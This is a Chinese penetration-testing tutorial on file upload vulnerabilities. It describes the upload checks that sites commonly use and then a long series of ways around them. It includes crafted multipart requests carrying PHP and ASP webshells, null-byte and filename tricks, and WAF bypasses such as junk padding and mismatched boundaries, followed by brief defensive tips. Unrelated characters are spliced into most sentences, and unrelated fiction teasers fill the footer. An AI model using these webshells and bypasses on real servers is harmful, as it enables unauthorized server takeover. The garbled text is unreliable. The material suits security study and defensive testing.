文件上傳漏洞

文件上傳漏洞可以說是日常滲透測試用得最多的一個漏洞涡上,因?yàn)橛盟@得服務(wù)器權(quán)限最快最直接。但是想真正把這個漏洞利用好卻不那么容易拒名,其中有很多技巧吩愧,也有很多需要掌握的知識。俗話說增显,知己知彼方能百戰(zhàn)不殆雁佳,因此想要研究怎么防護(hù)漏洞,就要了解怎么去利用同云。此篇文章主要分三部分:總結(jié)一些常見的上傳文件校驗(yàn)方式糖权,以及繞過校驗(yàn)的各種姿勢,最后對此漏洞提幾點(diǎn)防護(hù)建議炸站。(根據(jù)個人經(jīng)驗(yàn)總結(jié)星澳,歡迎補(bǔ)充糾錯~~)

文件上傳校驗(yàn)姿勢

  • 客戶端javascript校驗(yàn)(一般只校驗(yàn)后綴名)
  • 服務(wù)端校驗(yàn)
    • 文件頭content-type字段校驗(yàn)(image/gif)
    • 文件內(nèi)容頭校驗(yàn)(GIF89a)
    • 后綴名黑名單校驗(yàn)
    • 后綴名白名單校驗(yàn)
    • 自定義正則校驗(yàn)
  • WAF設(shè)備校驗(yàn)(根據(jù)不同的WAF產(chǎn)品而定)

1.客戶端校驗(yàn)

一般都是在網(wǎng)頁上寫一段javascript腳本,校驗(yàn)上傳文件的后綴名武契,有白名單形式也有黑名單形式募判。
  判斷方式:在瀏覽加載文件,但還未點(diǎn)擊上傳按鈕時便彈出對話框咒唆,內(nèi)容如:只允許上傳.jpg/.jpeg/.png后綴名的文件届垫,而此時并沒有發(fā)送數(shù)據(jù)包。

2.服務(wù)端校驗(yàn)

2.1 content-type字段校驗(yàn)

這里以PHP代碼為例全释,模擬web服務(wù)器端的校驗(yàn)代碼

<?php
        if($_FILES['userfile']['type'] != "image/gif")  #這里對上傳的文件類型進(jìn)行判斷装处,如果不是image/gif類型便返回錯誤。
                {   
                 echo "Sorry, we only allow uploading GIF images";
                 exit;
                 }
         $uploaddir = 'uploads/';
         $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
         if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile))
             {
                 echo "File is valid, and was successfully uploaded.\n";
                } else {
                     echo "File uploading failed.\n";
    }
     ?>

可以看到代碼對上傳文件的文件類型進(jìn)行了判斷浸船,如果不是圖片類型妄迁,返回錯誤。

2.2 文件頭校驗(yàn)

可以通過自己寫正則匹配李命,判斷文件頭內(nèi)容是否符合要求登淘,這里舉幾個常見的文件頭對應(yīng)關(guān)系:
(1) .JPEG;.JPE;.JPG,”JPGGraphic File”
(2) .gif封字,”GIF 89A”
(3) .zip黔州,”Zip Compressed”
(4) .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”


文件上傳繞過校驗(yàn)姿勢

  • 客戶端繞過(抓包改包)
  • 服務(wù)端繞過
    • 文件類型
    • 文件頭
    • 文件后綴名
  • 配合文件包含漏洞繞過
  • 配合服務(wù)器解析漏洞繞過
  • CMS阔籽、編輯器漏洞繞過
  • 配合操作系統(tǒng)文件命名規(guī)則繞過
  • 配合其他規(guī)則繞過
  • WAF繞過

1.客戶端繞過

可以利用burp抓包改包流妻,先上傳一個gif類型的木馬,然后通過burp將其改為asp/php/jsp后綴名即可笆制。

2.服務(wù)端繞過

2.1 文件類型繞過

我們可以通過抓包绅这,將content-type字段改為image/gif

POST /upload.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif (原為 Content-Type: text/plain)
<?php system($_GET['command']);?>
--xYzZY-
2.2 文件頭繞過

在木馬內(nèi)容基礎(chǔ)上再加了一些文件信息,有點(diǎn)像下面的結(jié)構(gòu)
GIF89a<?php phpinfo(); ?>

2.3 文件后綴名繞過

前提:黑名單校驗(yàn)
黑名單檢測:一般有個專門的 blacklist 文件在辆,里面會包含常見的危險腳本文件证薇。
繞過方法:
(1)找黑名單擴(kuò)展名的漏網(wǎng)之魚 - 比如 asa 和 cer 之類
(2)可能存在大小寫繞過漏洞 - 比如 aSp 和 pHp 之類
能被解析的文件擴(kuò)展名列表:
jsp jspx jspf
asp asa cer aspx
php php php3 php4
exe exee

3.配合文件包含漏洞

前提:校驗(yàn)規(guī)則只校驗(yàn)當(dāng)文件后綴名為asp/php/jsp的文件內(nèi)容是否為木馬度苔。
繞過方式:(這里拿php為例,此漏洞主要存在于PHP中)
(1)先上傳一個內(nèi)容為木馬的txt后綴文件棕叫,因?yàn)楹缶Y名的關(guān)系沒有檢驗(yàn)內(nèi)容林螃;
(2)然后再上傳一個.php的文件奕删,內(nèi)容為<?php Include(“上傳的txt文件路徑”);?>
此時俺泣,這個php文件就會去引用txt文件的內(nèi)容,從而繞過校驗(yàn)完残,下面列舉包含的語法:

#PHP    
<?php Include("上傳的txt文件路徑");?> 
#ASP    
<!--#include file="上傳的txt文件路徑" -->
#JSP    
<jsp:inclde page="上傳的txt文件路徑"/>
or  
<%@include file="上傳的txt文件路徑"%>

詳細(xì)參考:文件包含漏洞(繞過姿勢)

4.配合服務(wù)器解析漏洞

詳細(xì)可參考:http://thief.one/2016/09/21/服務(wù)器解析漏洞/

5.配合操作系統(tǒng)文件命令規(guī)則

(1)上傳不符合windows文件命名規(guī)則的文件名
  test.asp.
  test.asp(空格)
  test.php:1.jpg
  test.php::DATA   shell.php::DATA…….
會被windows系統(tǒng)自動去掉不符合規(guī)則符號后面的內(nèi)容伏钠。
(2)linux下后綴名大小寫
在linux下,如果上傳php不被解析谨设,可以試試上傳pHp后綴的文件名熟掂。

6.CMS、編輯器漏洞

(1)CMS漏洞:比如說JCMS等存在的漏洞扎拣,可以針對不同CMS存在的上傳漏洞進(jìn)行繞過赴肚。
(2)編輯器漏洞:比如FCK,ewebeditor等二蓝,可以針對編輯器的漏洞進(jìn)行繞過誉券。
這兩方面的漏洞以后單獨(dú)成文匯總,這里點(diǎn)到為止刊愚。

7.配合其他規(guī)則

(1)0x00截?cái)啵夯谝粋€組合邏輯漏洞造成的踊跟,通常存在于構(gòu)造上傳文件路徑的時候
  test.php(0x00).jpg
  test.php%00.jpg
  路徑/upload/1.php(0x00),文件名1.jpg鸥诽,結(jié)合/upload/1.php(0x00)/1.jpg
偽代碼演示:

name= getname(httprequest) //假如這時候獲取到的文件名是 help.asp.jpg(asp 后面為 0x00)
type =gettype(name)        //而在 gettype()函數(shù)里處理方式是從后往前掃描擴(kuò)展名商玫,所以判斷為 jpg
if(type == jpg)
   SaveFileToPath(UploadPath.name, name)   //但在這里卻是以 0x00 作為文件名截?cái)?//最后以 help.asp 存入路徑里

8.WAF繞過

8.1 垃圾數(shù)據(jù)

有些主機(jī)WAF軟件為了不影響web服務(wù)器的性能,會對校驗(yàn)的用戶數(shù)據(jù)設(shè)置大小上限牡借,比如1M拳昌。此種情況可以構(gòu)造一個大文件,前面1M的內(nèi)容為垃圾內(nèi)容钠龙,后面才是真正的木馬內(nèi)容炬藤,便可以繞過WAF對文件內(nèi)容的校驗(yàn);

img

當(dāng)然也可以將垃圾數(shù)據(jù)放在數(shù)據(jù)包最開頭俊鱼,這樣便可以繞過對文件名的校驗(yàn)刻像。
img

可以將垃圾數(shù)據(jù)加上Content-Disposition參數(shù)后面,參數(shù)內(nèi)容過長并闲,可能會導(dǎo)致waf檢測出錯细睡。

8.2 filename

針對早期版本安全狗,可以多加一個filename

img

或者將filename換位置帝火,在IIS6.0下如果我們換一種書寫方式溜徙,把filename放在其他地方:
img

8.3 POST/GET

有些WAF的規(guī)則是:如果數(shù)據(jù)包為POST類型湃缎,則校驗(yàn)數(shù)據(jù)包內(nèi)容。
此種情況可以上傳一個POST型的數(shù)據(jù)包蠢壹,抓包將POST改為GET嗓违。

8.4 利用waf本身缺陷
刪除實(shí)體里面的Conten-Type字段

img

第一種是刪除Content整行,第二種是刪除C后面的字符图贸。刪除掉ontent-Type: image/jpeg只留下c蹂季,將.php加c后面即可,但是要注意額疏日,雙引號要跟著c.php偿洁。

正常包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
構(gòu)造包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"
刪除Content-Disposition字段里的空格

[圖片上傳失敗...(image-121dc9-1583843945451)]
增加一個空格導(dǎo)致安全狗被繞過案列:
Content-Type: multipart/form-data; boundary=—————————4714631421141173021852555099
嘗試在boundary后面加個空格或者其他可被正常處理的字符:
boundary= —————————47146314211411730218525550

修改Content-Disposition字段值的大小寫

img

Boundary邊界不一致

每次文件上傳時的Boundary邊界都是一致的:

Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099
Content-Length: 253
-----------------------------4714631421141173021852555099
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream

<%eval request("a")%>
-----------------------------4714631421141173021852555099--

但如果容器在處理的過程中并沒有嚴(yán)格要求一致的話可能會導(dǎo)致一個問題,兩段Boundary不一致使得waf認(rèn)為這段數(shù)據(jù)是無意義的沟优,可是容器并沒有那么嚴(yán)謹(jǐn):
Win2k3 + IIS6.0 + ASP

img

文件名處回車

img

多個Content-Disposition

在IIS的環(huán)境下涕滋,上傳文件時如果存在多個Content-Disposition的話,IIS會取第一個Content-Disposition中的值作為接收參數(shù)挠阁,而如果waf只是取最后一個的話便會被繞過宾肺,Win2k8 + IIS7.0 + PHP

img

8.5利用NTFS ADS特性

ADS是NTFS磁盤格式的一個特性,用于NTFS交換數(shù)據(jù)流侵俗。在上傳文件時锨用,如果waf對請求正文的filename匹配不當(dāng)?shù)脑捒赡軙?dǎo)致繞過。

img

其他情況補(bǔ)充

文件重命名繞過

如果web程序會將filename除了擴(kuò)展名的那段重命名的話坡慌,那么還可以構(gòu)造更多的點(diǎn)黔酥、符號等等。

img

特殊的長文件名繞過

文件名使用非字母數(shù)字洪橘,比如中文等最大程度的拉長跪者,不行的話再結(jié)合一下其他的特性進(jìn)行測試:
shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg

反刪除

將下圖file1改成了file4,這樣就不會把這個文件刪除了熄求。(JCMS漏洞)

img


文件校驗(yàn)的幾點(diǎn)建議

  • 文件擴(kuò)展名服務(wù)端白名單校驗(yàn)渣玲。
  • 文件內(nèi)容服務(wù)端校驗(yàn)。
  • 上傳文件重命名弟晚。
  • 隱藏上傳文件路徑忘衍。

以上幾點(diǎn),可以防御絕大多數(shù)上傳漏洞卿城,但是需要跟服務(wù)器容器結(jié)合起來枚钓。如果解析漏洞依然存在,那么沒有絕對的安全瑟押。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末搀捷,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌嫩舟,老刑警劉巖氢烘,帶你破解...
    沈念sama閱讀 218,858評論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異家厌,居然都是意外死亡播玖,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,372評論 3 395
  • 文/潘曉璐 我一進(jìn)店門饭于,熙熙樓的掌柜王于貴愁眉苦臉地迎上來蜀踏,“玉大人,你說我怎么就攤上這事镰绎∨д叮” “怎么了?”我有些...
    開封第一講書人閱讀 165,282評論 0 356
  • 文/不壞的土叔 我叫張陵畴栖,是天一觀的道長。 經(jīng)常有香客問我八千,道長吗讶,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,842評論 1 295
  • 正文 為了忘掉前任恋捆,我火速辦了婚禮照皆,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘沸停。我一直安慰自己膜毁,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,857評論 6 392
  • 文/花漫 我一把揭開白布愤钾。 她就那樣靜靜地躺著瘟滨,像睡著了一般。 火紅的嫁衣襯著肌膚如雪能颁。 梳的紋絲不亂的頭發(fā)上杂瘸,一...
    開封第一講書人閱讀 51,679評論 1 305
  • 那天,我揣著相機(jī)與錄音伙菊,去河邊找鬼败玉。 笑死,一個胖子當(dāng)著我的面吹牛镜硕,可吹牛的內(nèi)容都是我干的运翼。 我是一名探鬼主播,決...
    沈念sama閱讀 40,406評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼兴枯,長吁一口氣:“原來是場噩夢啊……” “哼血淌!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起念恍,我...
    開封第一講書人閱讀 39,311評論 0 276
  • 序言:老撾萬榮一對情侶失蹤六剥,失蹤者是張志新(化名)和其女友劉穎晚顷,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體疗疟,經(jīng)...
    沈念sama閱讀 45,767評論 1 315
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡该默,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,945評論 3 336
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了策彤。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片栓袖。...
    茶點(diǎn)故事閱讀 40,090評論 1 350
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖店诗,靈堂內(nèi)的尸體忽然破棺而出裹刮,到底是詐尸還是另有隱情,我是刑警寧澤庞瘸,帶...
    沈念sama閱讀 35,785評論 5 346
  • 正文 年R本政府宣布捧弃,位于F島的核電站,受9級特大地震影響擦囊,放射性物質(zhì)發(fā)生泄漏违霞。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,420評論 3 331
  • 文/蒙蒙 一瞬场、第九天 我趴在偏房一處隱蔽的房頂上張望买鸽。 院中可真熱鬧,春花似錦贯被、人聲如沸眼五。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,988評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽看幼。三九已至,卻和暖如春枢希,著一層夾襖步出監(jiān)牢的瞬間桌吃,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,101評論 1 271
  • 我被黑心中介騙來泰國打工苞轿, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留茅诱,地道東北人。 一個月前我還...
    沈念sama閱讀 48,298評論 3 372
  • 正文 我出身青樓搬卒,卻偏偏與公主長得像瑟俭,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子契邀,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,033評論 2 355

推薦閱讀更多精彩內(nèi)容

  • 文件上傳漏洞是指用戶上傳了一個可執(zhí)行的腳本文件摆寄,并通過此腳本文件獲得了執(zhí)行服務(wù)器端命令的能力。這種攻擊方式是最為直...
    付出從未后悔閱讀 1,146評論 0 4
  • 什么是文件上傳漏洞? 文件上傳漏洞是指由于程序員在對用戶文件上傳部分的控制不足或者處理缺陷微饥,而導(dǎo)致的用戶可以越過其...
    Smi1e_閱讀 24,742評論 0 24
  • 前言 文件上傳是很常用的功能點(diǎn)逗扒,如:上傳頭像、上傳附件欠橘、保存文件等矩肩,文件上傳漏洞的思想很簡單,即可以將包含惡意代碼...
    原來是老王閱讀 1,036評論 1 5
  • 一肃续、初步認(rèn)識 1.上傳功能:網(wǎng)站上各種可以上傳文件黍檩,圖片的地方可以被用作上傳點(diǎn)進(jìn)行非法上傳 2.上傳原理:在前端代...
    楠昭閱讀 1,633評論 1 11
  • 0x01 文件上傳漏洞 文件上傳漏洞顧名思義就是用戶上傳一個可執(zhí)行的腳本文件,獲得了執(zhí)行服務(wù)器端命令的能力始锚。通常刽酱,...
    Pino_HD閱讀 1,908評論 0 0